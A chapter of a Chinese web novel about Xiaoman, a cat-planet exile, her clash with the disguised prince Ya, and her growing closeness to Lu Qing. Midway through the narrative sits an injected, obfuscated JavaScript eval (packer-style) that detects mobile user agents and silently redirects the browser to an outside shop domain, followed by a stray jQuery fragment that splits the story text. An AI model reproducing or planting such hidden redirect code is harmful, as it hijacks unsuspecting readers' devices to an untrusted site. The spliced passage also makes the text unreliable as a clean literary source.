“你的耳坠很特别。”
成星出现在她身后。
“成教授。”小满缓缓转身,“还是该叫你,犽?”
喵星不封建,见到王室成员甚至是老国王,都不需三跪九叩,平常如见到普通人。
“小满,你违背了喵星守则,全部三条。”成星的双眸眯起。
“那你又是为什么以人类身份站在这,还冒名顶替了一个人类。”
“我有我的理由。”
因为喵星上王室和平民平等,没有“只许州官放火,不许百姓点灯”之类的俗语。要不然,小满绝对会用这些话怼回去。
“我只是想在地球上过这十年而已,不会惹是生非。所以请喵星王子放心。至于你,是不是在蓄谋,想除掉某个人,为了复仇?”
成星的凶狠霎时燃起。
小满没有表情。她微微抬了抬下巴,伸出拇指和食指,摸了摸自己的耳坠。
成星的目光在耳坠上停留一瞬,戾气稍稍收敛:“我劝你,尽快变回猫的形态,别污染了喵星血统。”
小满:“地球是讲法制的,如果你在地球上做了违法的事,喵星人的秘密就守不住了,你这个王子也不用当了。”
成星冷笑:“喵星的秘密,王子的头衔,都不及樱。”
小满的目光也凌厉起来,两人锋芒相对。
“樱是生是死,都是我的女人。”成星压低了声音。
像是一条尖头的毒蛇划过草地,让小满浑身不舒服。
“你不配提樱!”小满不自觉抬高了音量,握紧了拳头。
众人向他们看来,不知道刚才还乖巧温和的小姑娘怎么突然变了样,又不解地看向陆卿。
“她累了。”陆卿出现在二人之间,同一时间将小满揽在怀里。
“成教授,怎么回去?”陆卿声音平静,还带着寡淡的笑容。
“我打算走回去。”成星瞬间换了一副面孔,儒雅地眯起丹凤眼。
“这里离你住的地方很远。”
“慢慢走,总能走到。”
两人就像什么也没发生。陆卿牵着小满,在众人目光中上了车。
*
小满很快冷静下来,缩在座位里发愁。
“我是不是搞砸了,本来他们对我印象很好的。”
陆卿有一肚子疑问,但他没有问。
“他们是我的同事,你在意什么?”
“我担心他们对你有偏见,会影响你,给你惹麻烦。”
“别多想,我真的不在意。”他抬手轻轻拍了一下小满的前脑门。
“你这样想,如果你烦闷,那我就更内疚自责。看到我内疚自责,你会更烦躁。这不就成了死循环。所以,不要再想了。”陆卿柔声道。
小满舒服了一些。她看向车窗外。
冷静下来,再去想嚣张且癫狂的王子犽,不舒服归不舒服,但就是对他厌恶不起来。这里面或许有樱的关系,又或许他的那句话——
“喵星的秘密,王子的头衔,都不及她!”
她印象中的喵星人,冷漠自我。
可他们的王子,却偏偏喜欢孤注一掷,飞蛾扑火。这些形容词,怎么都不像是形容喵星人的。
她不由地转过头,看向陆卿。
陆卿用余光捕捉到小满的目光,正全身心地注视他,像只小猫打量陌生事物。
他知道此刻她的内心在翻涌,在权衡。
城市越野匀速掠过空旷的城郊。
*
回到家后,陆卿先去了书房工作。
小满就坐在阳台。湖面上倒映着零星的灯光,风一吹就碎了,再慢慢聚拢回来。
一只黑猫从栏杆上走过来。
“王子犽原来是这样一个人。如果由他接班,喵星会变成什么样子呢?”
“你竟然在愁还没发生的事。”葵说。
是啊,喵星人怎么会对于一件未来的事发愁呢。
“他会喜欢樱,樱会喜欢他,我也明白原因了。他们都活得很自由,不被喵星的规则束缚,他们天生就该在一起。”
葵陷入沉思:“那一年,我和樱为了考上喵星护卫,拼命训练。犽刚从地球上待满十年,回到喵星,好像受了很大的怨气,天天在训练房拿机器人撒气。”
“姐姐见他总是一个人,担心他有什么心结,就拉他一起训练。姐姐功夫很好,好几次将他打趴下。”说到这,葵笑了起来。
“犽一开始很生气,但姐姐不惯着他。有一次将他打趴下后,就绕着他转圈嘲笑他,说他什么都不是,不过就在地球上待了十年,就受不了了,连她一个女孩子都打不过。犽终于忍不住,就把心里话大声吼了出来。”
*
喵星训练房。
全息投影随时变换地形,地板模拟出各种重力环境,一会儿是崎岖山地,一会儿是失重太空,又一会儿变成密布激光网的走廊。
犽涕泪横流,拳头砸在液态金属地面上,溅起一圈涟漪:“卑劣的地球人!我不允许任何喵星人再到地球上去!”
樱双手抱胸,紧身裤包裹着一双长腿,却还在逗弄他:“又不是你说了算,老国王同意吗?哼哼,反正我觉得地球挺好的,我还要跟老国王建议,十年太少,以后至少待一百年。”
犽爬起,向樱反击。樱没有防备,被他扑倒在地。
“你根本不知道,我在地球上看到了什么。为什么,父皇还要我们到地球上学习生活!”
反应过来的樱,一个翻身将他反压在身下。她像头优雅的猎豹,膝盖顶住他的胸口,一手按着他的肩膀,一手掐住他的下颌,迫使他看向自己。
那时她还留着长发,发梢扫过他的脸:“你真无聊。你的任务是在地球上生活十年,不是顺利完成了嘛,已经很厉害了。你还有其他不满,你就去说服老国王。成天在这里打虚拟妖怪和机器人,好不好笑。”
“我跟父皇说了,他不听我的。”犽已经习惯了被樱武力压制,索性扭过头,气鼓鼓地说。
“那就看你的本事了。等我们选上了王室护卫,就申请去地球,邀请你跟我们一起去,这次你没有十年的任务在身,好好观察一下地球,再去说服老国王,如何?”
樱一个跨步从他身上起来,朝他伸出手,掌心向上。
犽躺在地上,看着那只手。训练房的光影在她身后交错,像幅流动的画。
他看了很久,握住了。
“一言为定。”
*
葵回到现实。
“再后来,我们如愿当上护卫,来到地球。犽在姐姐的帮助下,逐渐走出阴影。最终他没有跟着一起来地球,因为老国王给他布置了其他任务。他跟姐姐约定好等我们回来,他们就结婚。”
“谁知道,他们在喵星飞船前分开,就是最后一面了。”
故事说完了。
“你说,犽想杀了那个恶人,是不是一点都不过分?”
又是久久的沉默。
察觉到有人来了,葵跳下阳台,悄无声息隐入夜色。
陆卿来到小满身后。
“工作做完了吗?”小满问。
“只是有了一个灵感,但心不静,想不出来。”他的手搭在栏杆上,“小满,以前我把自己关进书房,总能研究出什么。但今天,我一看到密密麻麻的数字和符号,眼前出现的是你的脸。”
另一只手的指腹摩挲过小满小巧的脸蛋。
“你到底是谁?”
小满看着他:“小满。”
“你会离开我们的家吗?”
“这里不是我家。我肯定会回家的。”眼神坚定。
陆卿心中一刺,面上看不出波澜。他和小满并排靠在阳台上,夜风把他们的衣角吹得轻轻翻动。
小满说:“可以告诉我你妈妈的事吗?”
今天按照陆卿的安排,拿他妈妈当挡箭牌,院长才没有继续追问下去。
“妈妈去世的时候我还小,很多事都不记得了。只记得她哄我睡觉、给我讲故事时很温柔,但我不听话,她会变成一只炸毛的猫。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598647|205301||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我记得最深的,是一个下雪天。宁城很少下雪,那年却积了很厚的雪,我妈就在那天去世了。”
小满感受到陆卿情绪的异样。她回过头,看到他眼中闪烁着泪光。
“那是我第一次体会到失去。失去的意思就是从天开始,我再也见不到她了。”
小满声音很轻:“我看到电视里说,亲人的逝去,其实是你在上课,他在赶集;你在吃饭,他在田间。如果你们想念对方,就抬头看看同一片天空。”小满伸手,拭去他脸上的泪痕。
那样好看的眼睛,睫毛在微微颤动,像蝴蝶被雨水打湿了翅膀,努力地想飞却飞不起来。
“如果这样想,会不会好受一些?”
陆卿握住她的手,放在掌心里:“失去就是失去,用这些美好的语言,还是改变不了什么。”
小满听了,心中忽的一触:“如果没有那个下雪天就好了。”
小满想到什么,忽然紧张起来:“你妈妈是雪天离去的?是什么原因?”
“病故。她脑袋里的肿瘤位置很差,当时没有医生能做手术,“我看着她,从一个活生生的人,变成一张床,一个名字,一个日期,我什么都留不住……”
小满转过身,一把抱住他。好像抱住当年那个小男孩。
“小满,你会以怎样的方式离开我。”
小满答不上来,陆卿也不给小满回答的时间,又抛来一个问题。
“可以不离开吗?”
小满没有回答这个问题:“接下来,我们在一起的每一天,无论做什么,吃饭,看电视,睡觉,都不分开好吗?你工作我也陪在旁边,好不好。”
陆卿低头看去,女孩不知道什么时候,眼睛也发红了。
她以为这样就能弥补她离开带来的伤痛吗?
尽管如此,他还是将下巴抵在她的头顶:“好。”
*
夜晚,当陆卿洗漱完来到房间,看到抱着被子站在床边的小满。
“你房间怎么了?”
“不是说以后干什么都在一起吗?睡觉时间到了啊。”她把被子往床上一扔。
不是。
陆卿嘴角一抽:“你是想和我,睡觉?”他看了一眼一米八的床。
小满也看了一眼。
“这床应该够睡吧。难道你睡相不好?没事,我不会嫌弃的。我睡觉喜欢缩成一团,占这点位置就可以了。”她在床位比划了一个边长约五十厘米的正方形。
陆卿看着她,忽然动了。
他单手绕过小满的腰,掌心贴在她腰侧,气息跟随肢体的接触涌上来,带着刚洗完澡的清爽薄荷味。
“在我们这里,一男一女是不可以睡在一张床上的。除非,他们结婚了。”
小满马上反应过来:“我不是这个意思。”
她害羞起来,不自觉地冲陆卿眨了眨眼睛。此刻两人的距离很近,几乎是紧挨着。
“怎么什么都要我教你。”陆卿带着一丝无奈的笑意,边说边凑近她。
他的气味越来越浓郁,在小满心脏快要跳出来时,陆卿吹走了飘落在她头顶的一根羽毛。
“既然你这么想跟我睡一起,即使我们没有结婚,我就当吃点亏,行吧。”
“真的!”小满兴奋地缩了缩脖子,“从今天开始,我就跟你睡一起了。”
猫咪终于能睡铲屎官的床了!
*
床上有很浓的陆卿的味道。这种味道说不清道不明,就是让小满觉得安心。
两人背向而眠。虽在一张床上,但彼此隔得很远。
小满的长发沿着后背倾泻而下。
陆卿闭着眼睛,呼吸平稳。
静谧的夜。
*
“你睡着了吗?”小满说。
“没有。”陆卿闭着眼睛。
“睡不着。”
“我也是。”
小满爬起来:“不睡了,反正也睡不着。”她推了推陆卿,“明天是周末你不用去学校。我们要不要做点什么?”